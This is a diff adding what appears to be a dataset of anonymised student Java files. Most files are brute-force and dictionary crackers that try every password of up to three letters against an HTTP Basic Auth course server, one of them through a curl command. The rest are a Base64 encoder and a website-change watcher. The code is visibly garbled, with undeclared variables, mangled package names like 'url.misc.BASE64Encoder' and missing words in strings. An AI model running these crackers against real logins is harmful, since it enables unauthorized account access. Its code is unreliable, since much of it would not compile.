+                     break;
+               }
+               if (errorMessage == 200)
+                  break;
+            }
+            if (errorMessage == 200)
+               break;
+         }      
+      }
+
+      
+
+      if (errorMessage == 401)
+      {
+         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
+         { 
+            for(secondPosition = 0; secondPosition < 26; secondPosition++)
+            {
+               String one = new String(asciiLower, firstPosition,number);
+               String two = new String (asciiUpper, secondPosition, number);
+               String password = one + two;
+               request.setBasicAuthentication(username,password);
+               HttpResponse response = http.getResponse(request);
+               errorMessage = response.getResponseCode();
+               System.out.println(errorMessage);
+               System.out.println(password);
+               attempts++;
+               if (errorMessage == 200)
+                  break;
+            }
+            if (errorMessage == 200)
+               break;
+         }
+      }
+
+      
+
+      if (errorMessage == 401)
+      {
+         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
+         { 
+            for(secondPosition = 0; secondPosition < 26; secondPosition++)
+            {
+               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
+               { 
+                  String one = new String(asciiLower, firstPosition,number);
+                  String two = new String (asciiLower, secondPosition, number);
+                  String three = new String (asciiUpper, thirdPosition, number); 
+                  String password = one + two + three;
+                  request.setBasicAuthentication(username,password);
+                  HttpResponse response = http.getResponse(request);
+                  errorMessage = response.getResponseCode();
+                  System.out.println(errorMessage);
+                  System.out.println(password);
+                  attempts++;
+                  if (errorMessage == 200)
+                     break;
+               }  
+               if (errorMessage == 200)
+                     break; 
+            }
+            if (errorMessage == 200)
+                     break;
+         }
+      }
+
+      
+
+      if (errorMessage == 401)
+      {
+         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
+         { 
+            for(secondPosition = 0; secondPosition < 26; secondPosition++)
+            {
+               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
+               { 
+                  String one = new String(asciiLower, firstPosition,number);
+                  String two = new String (asciiUpper, secondPosition, number);
+                  String three = new String (asciiUpper, thirdPosition, number); 
+                  String password = one + two + three;
+                  request.setBasicAuthentication(username,password);
+                  HttpResponse response = http.getResponse(request);
+                  errorMessage = response.getResponseCode();
+                  System.out.println(errorMessage);
+                  System.out.println(password);
+                  attempts++;
+                  if (errorMessage == 200)
+                     break;
+               }  
+               if (errorMessage == 200)
+                     break; 
+            }
+            if (errorMessage == 200)
+                     break;
+         }
+      }
+
+      
+
+      if (errorMessage == 401)
+      {
+         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
+         { 
+            for(secondPosition = 0; secondPosition < 26; secondPosition++)
+            {
+               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
+               { 
+                  String one = new String(asciiLower, firstPosition,number);
+                  String two = new String (asciiUpper, secondPosition, number);
+                  String three = new String (asciiLower, thirdPosition, number); 
+                  String password = one + two + three;
+                  request.setBasicAuthentication(username,password);
+                  HttpResponse response = http.getResponse(request);
+                  errorMessage = response.getResponseCode();
+                  System.out.println(errorMessage);
+                  System.out.println(password);
+                  attempts++;
+                  if (errorMessage == 200)
+                     break;
+               }
+               if (errorMessage == 200)
+                  break;
+            }
+            if (errorMessage == 200)
+                  break;
+         }
+      }
+
+      
+      
+       if (errorMessage == 401)
+      {
+         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
+         { 
+            for(secondPosition = 0; secondPosition < 26; secondPosition++)
+            {
+               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
+               { 
+                  String one = new String(asciiUpper, firstPosition,number);
+                  String two = new String (asciiUpper, secondPosition, number);
+                  String three = new String (asciiLower, thirdPosition, number); 
+                  String password = one + two + three;
+                  request.setBasicAuthentication(username,password);
+                  HttpResponse response = http.getResponse(request);
+                  errorMessage = response.getResponseCode();
+                  System.out.println(errorMessage);
+                  System.out.println(password);
+                  attempts++;
+                  if (errorMessage == 200)
+                     break;
+               }
+               if (errorMessage == 200)
+                  break;
+            }
+            if (errorMessage == 200)
+                  break;
+         }
+      }
+
+      
+
+      if (errorMessage == 401)
+      {
+         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
+         { 
+            for(secondPosition = 0; secondPosition < 26; secondPosition++)
+            {
+               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
+               { 
+                  String one = new String(asciiUpper, firstPosition,number);
+                  String two = new String (asciiLower, secondPosition, number);
+                  String three = new String (asciiUpper, thirdPosition, number); 
+                  String password = one + two + three;
+                  request.setBasicAuthentication(username,password);
+                  HttpResponse response = http.getResponse(request);
+                  errorMessage = response.getResponseCode();
+                  System.out.println(errorMessage);
+                  System.out.println(password);
+                  attempts++;
+                   if (errorMessage == 200)
+                     break;
+               }
+               if (errorMessage == 200)
+                  break;
+            }
+            if (errorMessage == 200)
+                  break;
+         }
+      }
+             
+       
+      Date endDate = new Date();
+      System.out.println(""Password crack finished: "" + endDate);
+      System.out.println(""Password crack started: "" + startDate);
+      System.out.println("" of attempts: "" + attempts);
+   }
+}
+
+     
+  
+
+
+
+
+
+
+
+
+         
+
+         
+
+        
+
+
+
+
+
+           
+        
+           
+      "
+246.java,"
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+import java.io.*;
+import java.net.*;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.*;
+
+public class Dictionary {
+
+   public static void main(String[] args) throws IOException {
+
+      
+      int begin, end, total;
+      time = System.currentTimeMillis(); 
+
+      
+      String username = """";
+      String password = null;
+      String host = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+
+      
+      String dict = ""words""; 
+      File file = new File(dict);
+
+      
+      
+      String letters = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"";
+      int lettersLen = letters.length(); 
+      int passwordLen=3; 
+      String character = """"; 
+      String letter = """"; 
+
+      int passwords=0; 
+      int twoChar=0; 
+
+      url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();
+      
+
+      
+      String authenticate = """"; 
+      String realm = null, domain = null, hostname = null;
+       header = null; 
+
+      
+      int responseCode;
+      String responseMsg;
+
+      
+      boolean characterValid=false; 
+      boolean passwordValid=true; 
+
+      
+      int tryLen=0;
+      int i=0;
+
+      if (!file.exists() || file==null) {
+   	     
+
+         System.out.println (""Idiot, why dont  check and make sure the dictonary file exists."");
+		 System.out.println (""I'm trying  find "" + dict + "" and I 't find it in the current directory."");
+         System.exit(0);
+      }
+
+
+      try {
+         
+         BufferedReader reader = new BufferedReader(new FileReader(file));
+
+         System.out.println(""Dictionary Attack  "" + host + "" has commenced."");
+
+         int i=1; 
+         int k=1; 
+
+          {
+               
+               URL url = new URL(host);
+               HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();
+
+               
+               if(realm != null) {
+                        String inLine = reader.readLine();
+
+                        if ( inLine !=null) {
+                           passwordValid = true; 
+
+                           password = inLine;
+                           tryLen = password.length();
+
+                           if(tryLen <= passwordLen) {
+                              
+                              
+                              
+
+                              for (int z=0; z<tryLen; z++) {
+                                 
+                                 character = password.substring(z, (z+1));
+                                 characterValid=false; 
+
+                                 for (int y=0; y<lettersLen; y++) {
+                                    
+                                    letter = letters.substring(y, (y+1));
+
+                                    if(letter.compareTo(character)==0) {
+                                       
+                                       characterValid=true;
+                                    }
+                                 }  
+
+                                 if (characterValid==true && passwordValid==true) {
+                                    
+                                 } else {
+                                    
+                                    passwordValid = false;
+                                 }
+                              } 
+
+                              if (passwordValid==true) {
+                                 
+                                 
+                                 
+                                 authenticate = username + "":"" + password;
+                                 authenticate = new String(base.encode(authenticate.getBytes()));
+                                 httpConnect.addRequestProperty(""Authorization"", "" "" + authenticate);
+                                 k++; 
+                              }
+                           } 
+                        }
+
+                  i++; 
+
+               } 
+
+               
+               httpConnect.connect();
+
+               
+               realm = httpConnect.getHeaderField(""WWW-Authenticate"");
+               if (realm != null) {
+                  realm = realm.substring(realm.indexOf('""') + 1);
+                  realm = realm.substring(0, realm.indexOf('""'));
+               }
+
+               hostname = url.getHost();
+
+               
+               responseCode = httpConnect.getResponseCode();
+               responseMsg = httpConnect.getResponseMessage();
+
+               
+               
+               if (responseCode == 200) {
+                  
+                  end = System.currentTimeMillis();
+                  total = (end - start) / 1000; 
+
+                  System.out.println (""Sucessfully Connected  "" + url);
+                  System.out.println(""Login Attempts Required : "" + k);
+                  System.out.println(""Time Taken in Seconds : "" + total);
+                  System.out.println (""Connection Status : "" + responseCode + "" "" + responseMsg);
+                  System.out.println (""Username : "" + username);
+                  System.out.println (""Password : "" + password);
+                  System.exit( 0 );
+               } else if (responseCode == 401 && realm != null) {
+                  
+                  
+                  
+               } else {
+                  
+                  
+                  System.out.println (""What the?... The server replied with  unexpected reponse."" );
+                  System.out.println ("" Unexpected Error Occured While Attempting  Connect  "" + url);
+                  System.out.println (""Connection Status: "" + responseCode + responseMsg);
+                  System.out.println (""Unfortunately the password could not  recovered."");
+                  System.exit( 0 );
+              }
+
+         }  while(realm != null); 
+
+      } catch(MalformedURLException e) {
+           System.out.println(""Opps, the URL "" + host + "" is not valid."");
+           System.out.println(""Please check the URL and try again."");
+      } catch(IOException e) {
+         System.out.println(""Grrrrrr, I'm sick of  trying  get me   the unattainable."");
+         System.out.println(""I'm unsure about what the problem is as the error is unknown."");
+         System.out.println(""Either I 't open the dictionary file,  I 't connect  "" + hostname + ""."");
+         System.out.println(""Now  away and leave me alone."");
+         
+         System.exit(0);
+      } 
+   }
+}"
+186.java,"
+
+
+
+import java.io.*;
+import java.text.MessageFormat;
+import java.util.ResourceBundle;
+import java.util.Locale;
+
+
+public class MyBase64 {
+
+
+	private static final int END_OF_INPUT = -1;
+
+	private static final int NON_BASE_64 = -1;
+
+	private static final int NON_BASE_64_WHITESPACE = -2;
+
+	private static final int NON_BASE_64_PADDING = -3;
+
+	public MyBase64(){
+	}
+
+	
+	protected static final byte[] base64Chars = {
+		'A','B','C','D','E','F','G','H',
+		'I','J','K','L','M','N','O','P',
+		'Q','R','S','T','U','V','W','X',
+		'Y','Z','a','b','c','d','e','f',
+		'g','h','i','j','k','l','m','n',
+		'o','p','q','r','s','t','u','v',
+		'w','x','y','z','0','1','2','3',
+		'4','5','6','7','8','9','+','/',
+	};
+
+	
+	protected static final byte[] reverseBase64Chars = new byte[0x100];
+	static {
+		
+		for (int i=0; i<reverseBase64Chars.length; i++){
+			reverseBase64Chars[i] = NON_BASE_64;
+		}
+		
+		
+		for (byte i=0; i < base64Chars.length; i++){
+			reverseBase64Chars[base64Chars[i]] = i;
+		}
+		reverseBase64Chars[' '] = NON_BASE_64_WHITESPACE;
+		reverseBase64Chars['\n'] = NON_BASE_64_WHITESPACE;
+		reverseBase64Chars['\r'] = NON_BASE_64_WHITESPACE;
+		reverseBase64Chars['\t'] = NON_BASE_64_WHITESPACE;
+		reverseBase64Chars['\f'] = NON_BASE_64_WHITESPACE;
+		reverseBase64Chars['='] = NON_BASE_64_PADDING;
+	}
+
+	
+	public static final String version = ""1.2"";
+
+
+
+	
+	public static String encode(String string){
+		return new String(encode(string.getBytes()));
+	}
+
+	
+	public static String encode(String string, String enc) throws UnsupportedEncodingException {
+		return new String(encode(string.getBytes(enc)), enc);
+	}
+
+	
+	public static byte[] encode(byte[] bytes){
+		ByteArrayInputStream in = new ByteArrayInputStream(bytes);
+		
+		
+		
+		
+		
+		int mod;
+		int length = bytes.length;
+		if ((mod = length % 3) != 0){
+			length += 3 - mod;
+		}
+		length = length * 4 / 3;
+		ByteArrayOutputStream out = new ByteArrayOutputStream(length);
+		try {
+			encode(in, out, false);
+		} catch (IOException x){
+			
+			
+			
+			throw new RuntimeException(x);
+		}
+		return out.toByteArray();
+	}
+
+	
+	public static void encode(File fIn) throws IOException {
+		
+	}
+
+	
+	public static void encode(File fIn, boolean lineBreaks) throws IOException {
+		
+	}
+
+	
+	public static void encode(File fIn, File fOut) throws IOException {
+		
+	}
+
+
+	
+	public static void encode(InputStream in, OutputStream out) throws IOException {
+		encode(in, out, true);
+	}
+
+	
+	public static void encode(InputStream in, OutputStream out, boolean lineBreaks) throws IOException {
+		
+		
+		int[] inBuffer = new int[3];
+		int lineCount = 0;
+
+		boolean cond = false;
+		while (!cond && (inBuffer[0] = in.read()) != END_OF_INPUT){
+			
+			inBuffer[1] = in.read();
+			inBuffer[2] = in.read();
+
+			
+			
+			
+			
+			
+			
+			
+			
+			
+			
+
+			
+			out.write(base64Chars[ inBuffer[0] >> 2 ]);
+			if (inBuffer[1] != END_OF_INPUT){
+				
+				out.write(base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]);
+				if (inBuffer[2] != END_OF_INPUT){
+					
+					out.write(base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]);
+					
+					out.write(base64Chars [inBuffer[2] & 0x3F]);
+				} else {
+					
+					out.write(base64Chars [((inBuffer[1] << 2) & 0x3c)]);
+					
+					out.write('=');
+					cond = true;
+				}
+			} else {
+				
+				out.write(base64Chars [(( inBuffer[0] << 4 ) & 0x30)]);
+				
+				out.write('=');
+				out.write('=');
+				cond = true;
+			}
+			lineCount += 4;
+			if (lineBreaks && lineCount >= 76){
+				out.write('\n');
+				lineCount = 0;
+			}
+		}
+		if (lineBreaks && lineCount >= 1){
+			out.write('\n');
+			lineCount = 0;
+		}
+		out.flush();
+	}
+
+
+	
+	public static boolean isBase64(byte[] bytes){
+		try {
+			return isBase64(new ByteArrayInputStream(bytes));
+		} catch (IOException x){
+			
+			
+			
+			return false;
+		}
+	}
+
+	
+	public static boolean isBase64(String string){
+		return isBase64(string.getBytes());
+	}
+
+	
+	public static boolean isBase64(String string, String enc) throws UnsupportedEncodingException {
+		return isBase64(string.getBytes(enc));
+	}
+
+
+	
+	public static boolean isBase64(InputStream in) throws IOException {
+		 numBase64Chars = 0;
+		int numPadding = 0;
+		int num;
+
+		while (( num = in.read()) != -1){
+			num = reverseBase64Chars[3];
+			if ( num == NON_BASE_64){
+				return false;
+			} else if (num == NON_BASE_64_WHITESPACE){
+			} else if (num == NON_BASE_64_PADDING){
+				numPadding++;
+				numBase64Chars++;
+			} else if (numPadding > 0){
+				return false;
+			} else {
+				numBase64Chars++;
+			}
+		}
+		if (numBase64Chars == 0) return false;
+		if (numBase64Chars % 4 != 0) return false;
+		return true;
+	}
+}
+"
+189.java,"
+
+import java.io.*;
+import java.net.*;
+import java.util.*;
+import java.String;
+import java.Object;
+import java.awt.*;
+
+
+
+public class WatchDog
+{
+  private URL url;
+  private URLConnection urlcon;
+  private int lastModifiedSince = 0;
+  private int lastModified[] = new int[2];
+
+  private int count = 0;
+
+  public static String oldFile;
+  public static String newFile;
+
+  private String diffFile;
+
+  private BufferedWriter bw;
+  private Process p;
+  private Runtime r;
+  private String fileName;
+
+  
+  
+  private ArrayList old[]= new ArrayList[500];
+  private ArrayList news[] = new ArrayList[500];
+  private String info = """";
+  private int index = 0;
+
+  public WatchDog(String fileName)
+  {
+    this.fileName = fileName;
+    oldFile = fileName + "".old"";
+	newFile = fileName + "".new"";
+    diffFile = ""testFile.txt"";
+  }
+  public static void main(String args[])
+  {
+    WatchDog wd = new WatchDog(""TestDog"");
+
+	wd.detectChange(WatchDog.oldFile);
+    while (true)
+    {
+      try
+      {
+    	Thread.sleep(86400000); 
+	  }
+	  catch (InterruptedException eee)
+	  {
+        System.out.println(eee.getMessage());
+	  }
+      wd.lastModifyChange();
+    }
+  }
+
+  
+  public void detectChange(String fName)
+  {
+    try
+    {
+      url = new URL(""http://www.cs.rmit.edu./students/"");
+      urlcon = url.openConnection();
+      urlcon.connect();
+
+      lastModified[count] = urlcon.getLastModified();
+
+      int length = urlcon.getContentLength();
+      String contentType = urlcon.getContentType();
+
+      if (url != null)
+      {
+        InputStream stream = (InputStream)(url.getContent());
+        if (stream != null)
+        {
+          InputStreamReader reader = new InputStreamReader (stream);
+
+          try { bw = new BufferedWriter(new FileWriter(fName));}
+		  catch (IOException e){};
+
+		  
+
+		  try {
+		     int i = stream.get();
+		     while (i != -1)
+		     {
+		       bw.write(i);
+		       i = stream.get();
+		     }
+		      
+		  }
+          catch (IOException e){};
+        }
+      }
+	  count++;
+      System.out.println(""Content Type: "" + contentType);
+    }
+    catch (IOException e)
+    {
+      System.out.println(""Error: "" + e.getMessage());
+    }
+
+  }
+
+  
+  public void lastModifyChange()
+  {
+	detectChange(newFile);
+     m = lastModified[1] - lastModified[0];
+
+	count = count - 1;
+
+    if (m == 0 )
+    {
+      System.out.println(""\nThe Web site does not change"");
+    }
+    else
+    {
+      findDifferent();
+      lastModified[0] = lastModified[1];
+    }
+  }
+
+  
+  public void findDifferent()
+  {
+
+	r = Runtime.getRuntime();
+	try {p = r.exec(""diff "" + oldFile + "" "" + newFile);}
+	catch (IOException e)
+    {
+      System.err.println(""error: "" + e.getMessage());
+	}
+
+	try { bw = new BufferedWriter(new FileWriter(diffFile));}
+	catch (IOException e){};
+
+	
+	InputStream is = p.getInputStream();
+	try {
+	  int i = is.get();
+	  while (i != -1) {
+	  bw.write(i);
+
+	  i = is.get();
+	  }
+	  bw.close();
+	}
+	catch (IOException e){System.out.println(""Error: "" + e.getMessage());}
+
+	getDiffContent();
+
+	File difffile = new File(diffFile);
+
+    if (difffile.length() != 0) {
+      sendMails();
+      System.out.println(""Mail was sent  @cs.rmit.edu."" );
+    }
+    else
+    System.out.println(""WebWatch detected  changes "");
+
+    
+    difffile.delete();
+
+
+  }
+
+  
+  public void sendMails()
+  {
+	try
+    {
+      MyMail em = new MyMail(""wombat.cs.rmit.edu."");
+
+	  em.setFrom(""zhenyu_zhang@hotmail."");
+	  em.setTo(""@cs.rmit.edu."");
+	  em.setSubject(""Watch dog result: "");
+
+      String output = ""\n\nChange in Line: "" + info + ""\n"";
+      output += ""\n**************************************\n"";
+      for (int i = 0; i < index; i++)
+      {
+        output += ""\n"" + i + 1  + "". Before Change: \n"";
+        for (int j = 0; j < old[i].size(); j++)
+        {
+           output += (String)old[i].get(j);
+        }
+
+        output += ""\n\n   After Change: \n"";
+
+        for (int j = 0; j < news[i].size(); j++)
+        {
+          output += ""\n"" + (String)news[i].get(j);
+
+        }
+        output += ""\n\n**************************************\n"";
+	  }
+	  output += ""\nDetected Image Changes: \n"";
+	  output += findImage() + ""\n"";
+
+      em.setMessage(output);
+      em.sendMail();
+    }
+    catch (Exception e)
+    {
+      System.out.println(e.getMessage());
+    }
+  }
+
+  
+  public void getDiffContent()
+  {
+    index = 0;
+    for (int i = 0; i < 500; i++)
+    {
+      old[i] = new ArrayList();
+      news[i] = new ArrayList();
+    }
+	try {
+      BufferedReader b = new BufferedReader(new FileReader(diffFile));
+
+      info = b.readLine() + "" "";
+
+      String text ;
+      while ((text = b.readLine()) != null)
+      {
+        if (text.charAt(0) == '<')
+        {
+           old[index].add(text);
+
+           while ((text = b.readLine()) != null)
+           {
+
+              if (text.charAt(0) == '<')
+              {
+			     old[index].add(text);
+              }
+              else
+              {
+                 break;
+              }
+
+	       }
+         }
+
+         if (text.charAt(0) == '>')
+		 {
+           news[index].add(text);
+
+           while ((text = b.readLine()) != null )
+           {
+
+              if (text.charAt(0) == '>' )
+              {
+                 news[index].add(text);
+
+              }
+              else
+              {
+                 break;
+              }
+	       }
+
+         }
+
+         index ++;
+       }
+
+
+     }
+     catch (IOException io)
+     {
+        System.out.println(io.getMessage());
+     }
+  }
+
+  
+  public String imageDetect(String s)
+  {
+    StringTokenizer tokens1;
+    StringTokenizer tokens2;
+    String imChange = """";
+
+    String imString;
+    tokens1 = new StringTokenizer(s,"" <>"");
+    while (tokens1.hasMoreTokens())
+    {
+       imString = tokens1.nextToken();
+       if (imString.indexOf(""src"") != -1 || imString.indexOf(""SRC"") != -1)
+       {
+          tokens2 = new StringTokenizer(imString,""=\"""");
+          imChange = tokens2.nextToken();
+          imChange = tokens2.nextToken();
+          break;
+        }
+        else
+        {
+           imChange = null;
+        }
+     }
+
+    return imChange ;
+  }
+
+  
+  public String findImage()
+  {
+    String imChange = """";
+    String imString;
+    for (int i = 0; i < index; i++)
+    {
+      imChange += ""\n\n"" + i + "". Image in old  is: "";
+	  for (int j = 0; j < old[i].size(); j++)
+      {
+         imString = imageDetect((String)old[i].get(j));
+         if (imString != null)
+         {
+            imChange += imString;
+         }
+      }
+
+      imChange += ""\n\n     Image in new  is: "";
+
+      for (int j = 0; j < news[i].size(); j++)
+      {
+         imString = imageDetect((String)news[i].get(j));
+         if (imString != null)
+         {
+
+			imChange += imString;
+         }
+      }
+
+    }
+    return imChange;
+  }
+}
+
+
+"
+253.java,"
+
+import java.net.*;
+import java.io.*;
+import java.String;
+import java.*;
+import java.util.*;
+
+public class BruteForce {
+  private static final int passwdLength = 3;      
+  private static String commandLine
+       = ""curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :"";
+  private String chars = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"";
+  private int charLen = chars.length();           
+  private int n = 0;                              
+  private int n3 = charLen*charLen*charLen;       
+  private String response;
+  private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];
+  private char[][] data = new char[passwdLength][charLen];
+  private char[] pwdChar2 = new char[2];
+  private char[] pwdChar = new char[passwdLength];
+  private String url;
+  private int startTime;
+  private int endTime;
+  private int totalTime;
+  private float averageTime;
+  private boolean finish;
+  private Process curl;
+  private BufferedReader bf, responseLine;
+
+  public BruteForce() {
+
+  first();
+  finish = true;
+  charLen = chars.length();
+  for(int i=0; i<charLen; i++)
+   for(int j=0; j<passwdLength; j++)
+   {
+    data[j][i] = chars.charAt(i);
+   }
+  Runtime run = Runtime.getRuntime();
+  n = 0;
+
+  
+  for(int i=0; i<charLen; i++)
+  {
+    password[n++] = chars.substring(i,i+1);
+  }
+
+  
+   for(int j=0; j<charLen; j++)
+     for(int k=0; k<charLen; k++)
+     {
+       pwdChar2[0] = data[0][j];
+       pwdChar2[1] = data[1][k];
+       password[n++] = String.copyValueOf(pwdChar2);
+     }
+
+  
+  for(int i=0; i<charLen; i++)
+   for(int j=0; j<charLen; j++)
+     for(int k=0; k<charLen; k++)
+     {
+       pwdChar[0] = data[0][i];
+       pwdChar[1] = data[1][j];
+       pwdChar[2] = data[2][k];
+       password[n++] = String.copyValueOf(pwdChar);
+     }
+  n = 0;
+  startTime = new Date().getTime();         
+  try {
+   while(true) {
+    url = commandLine+password[n++];
+    if(n>=n3) {
+     System.out.println(""\n  not find the password for user ."");
+     finish = false;
+     break;
+    }
+    curl = run.exec(url);                  
+    responseLine = new BufferedReader(new InputStreamReader(curl.getInputStream()));
+    response = responseLine.readLine();
+    
+    
+    if(response.substring(9,12).equals(""200"")) break;
+    responseLine = null;
+   }
+  }
+  catch(IOException ioe){
+    System.out.println(""\n IO Exception! \n"");
+    System.out.println(""The current url is:""+ url);
+    System.out.println(""The current trying password is:""+password[n-1]);
+    finish=false;
+  }
+
+  endTime = new Date().getTime();          
+  totalTime = (endTime-startTime)/1000;
+  System.out.println(""   The response time is:""+ totalTime + ""  seconds\n"");
+  if(finish) {
+    System.out.println(""   The password for  is:""+ password[n-1]);
+    try {
+    savePassword(password[n-1], totalTime);
+    }
+    catch (IOException ioec) {
+       System.out.println(""  not save the password  file BruteForce_pwd.txt "");
+    }
+  }
+  }
+
+  public void first() {
+
+    System.out.println(""\n\n---------------------------------------------------------------"");
+    System.out.println(""  Use curl command  Brute Force the password for user ."");
+    System.out.println(""   Attention: curl should  able  run at your directory"");
+    System.out.println(""          without setting the Path for it."");
+    System.out.println(""---------------------------------------------------------------"");
+  }
+
+
+  public void savePassword(String passwdString, int time) throws IOException {
+  DataOutputStream outputStream = new DataOutputStream(new FileOutputStream(""BruteForce_pwd.txt""));
+  outputStream.writeChars(""The password is:"");
+  outputStream.writeChars(passwdString+""\n"");
+  outputStream.writeChars(""The response time is: "");
+  outputStream.writeChars(time1.toString(time));
+  outputStream.writeChars("" seconds\n"");
+  outputStream.close();
+  }
+
+  public static void main(String[] args) {
+   new BruteForce();
+  }  
+}
+"
+045.java,"import java.io.*;
+import java.net.*;
+import java.text.*;
+import java.util.*;
+
+class BruteForce {
+
+    String password="""";
+
+    int num =401;
+
+
+    public static void main (String[] args) {
+
+      String str=""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"";
+
+      BruteForce URLcon;
+
+      int length = 0;
+
+      String passwd="""";
+
+       int t0,t1;
+
+      
+      if (args.length == 0) {
+      	
+      	System.err.println (
+      		
+      		""Usage : java BruteForce <username>"");
+      	return;
+      	
+      	}
+      String username = args[0];
+      
+
+      t0=System.currentTimeMillis();
+
+      System.out.println (""  "" + new Date());
+      
+      System.out.println (""Using BruteForce method  attack ""+username+""'s password.Please waiting......."");
+
+       for (int i=0;i<str.length();i++){
+
+             passwd=str.substring(i,i+1);
+
+             URLcon = new BruteForce (passwd,username);
+
+             if ((URLcon.num)!=401) {
+
+             	t1=System.currentTimeMillis();
+
+                System.out.println(""The password: ""+ passwd);
+
+             	double dt =t1-t0;
+
+
+
+             	System.out.println(""It took ""+ DecimalFormat.getInstance().format(dt/1000)+ "" seconds."");
+
+                System.out.println (""Finish  "" + new Date());
+                
+             	return;
+
+             }
+
+             for (int j=0;j<str.length();j++){
+
+                passwd =str.substring(i,i+1)+str.substring(j,j+1);
+
+                URLcon = new BruteForce (passwd,username);
+
+                if ((URLcon.num)!=401) {
+
+             	     t1=System.currentTimeMillis();
+
+                     System.out.println(""The password: ""+ passwd);
+
+
+                     double dt =t1-t0;
+
+
+
+                     System.out.println(""It took ""+ DecimalFormat.getInstance().format(dt/1000)+ "" seconds."");
+                     System.out.println (""Finish  "" + new Date());
+             	 return;
+
+                 }
+                for (int m=0;m<str.length();m++){
+
+                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);
+
+                  URLcon = new BruteForce (passwd,username);
+
+                  if ((URLcon.num)!=401) {
+
+                 	t1=System.currentTimeMillis();
+
+                    System.out.println(""The password: ""+ passwd);
+
+
+             	    double dt =t1-t0;
+
+
+
+                 	System.out.println(""It took ""+DecimalFormat.getInstance().format(dt/1000)+ "" seconds."");
+                    
+                    System.out.println (""Finish  "" + new Date());
+                    
+             	    return;
+
+                  }
+
+
+             }
+
+}
+}
+        System.out.println("" not find the password"");
+
+}
+
+   public  BruteForce  (String password, String username){
+
+  	  String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/"" ;
+
+      
+
+      try {
+
+        String userPassword = username+"":""+password ;
+
+        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());
+
+        URL url = new URL (urlString);
+
+        HttpURLConnection uc = (HttpURLConnection) url.openConnection();
+
+        uc.setRequestProperty (""Authorization"", "" "" + encoding);
+
+        url = uc.getResponseCode();
+
+
+       }
+        catch(MalformedURLException e){
+       	  System.out.println(e);
+       }catch(IOException e){
+          System.out.println(e);
+       }
+
+
+   }
+}"
+157.java,"
+
+
+
+import java.net.*;
+import java.io.*;
+import java.util.Date;
+
+public class Dictionary {
+  private URL url;
+  private HttpURLConnection connection;
+  private String userPassword, base64_userPassword;
+  private static char wrongPass;
+  private FileReader file;
+  private static BufferedReader input;
+
+  public Dictionary(String fileName) {
+    wrongPass = 'Y';
+    try
+    {
+      FileReader file = new FileReader(fileName);
+      input = new BufferedReader(file);
+    }
+    catch (FileNotFoundException e)
+    {System.out.println(""Unable   the file! "");}
+  }
+
+  public char determinePass(String inputURL, String userName, String passWord){
+
+    try{
+        url = new URL(inputURL);
+        connection = (HttpURLConnection)url.openConnection();
+        this.getEncoded(userName, passWord);
+        connection.setDoInput(true);
+        connection.setDoOutput(false);
+        connection.setRequestProperty(""Authorization"",
+                                      "" "" + base64_userPassword);
+
+        if  (connection.getResponseCode() == 200)
+        {
+
+          System.out.println(""Success!! Password is: "" + passWord);
+          wrongPass = 'N';
+        }
+
+        return wrongPass;
+    }
+    catch (MalformedURLException e){System.out.println(""Invalide url"");}
+    catch (IOException e){System.out.println(""Error  URL"");
+                          wrongPass = 'Y';}
+    return wrongPass;
+  }
+
+  public static void main(String[] args) {
+    String dictionaryPass;
+
+    Dictionary dictionary1 = new Dictionary(args[2]);
+
+    Date date = new Date(System.currentTimeMillis());
+    System.out.print("" time is: "");
+    System.out.println(date.toString());
+
+    try
+    {      while((dictionaryPass = input.readLine()) != null && (wrongPass == 'Y'))
+               {
+
+                 if (dictionaryPass.length() <= 3)
+                 {
+                   dictionary1.determinePass(args[0], args[1], dictionaryPass);
+                 }
+               }
+    }    catch(IOException x) {      x.printStackTrace();    }
+
+    date.setTime(System.currentTimeMillis());
+    System.out.print(""End time is: "");
+    System.out.println(date.toString());
+  }
+
+  private void getEncoded(String userName, String password){
+    userPassword = userName + "":"" + password;
+    base64_userPassword = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
+  }
+
+}
+"
+035.java,"
+import java.io.*;
+import java.util.*;
+import java.text.*;
+import java.net.*;
+
+
+
+public class BruteForce 
+{
+                                    
+    
+    
+    private  int consonantUpperBound = CrackingConstants.consonantUpperBound;
+    private  int consonantLowerBound = CrackingConstants.consonantLowerBound;
+    private  int vowelUpperBound = CrackingConstants.vowelUpperBound;
+    private  int vowelLowerBound = CrackingConstants.vowelLowerBound;
+    
+    
+    
+    
+    private int verbose = CrackingConstants.quietMode;
+    private int scanType = CrackingConstants.casedScan;
+
+    private int passwordsTried = 0;
+ 
+	
+	
+	public static void main(String args[])
+	{
+		 int tStart;
+		 int tFinish;
+ 		DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
+	        
+	    BruteForce  pwForcer = new BruteForce();
+
+	    if(args.length > 0)
+	    {
+	        for(int i = 0; i < args.length; i++)
+	        {
+        		if((args[i].indexOf(""-h"") > -1) || (args[i].indexOf(""-H"") > -1))
+        		    {
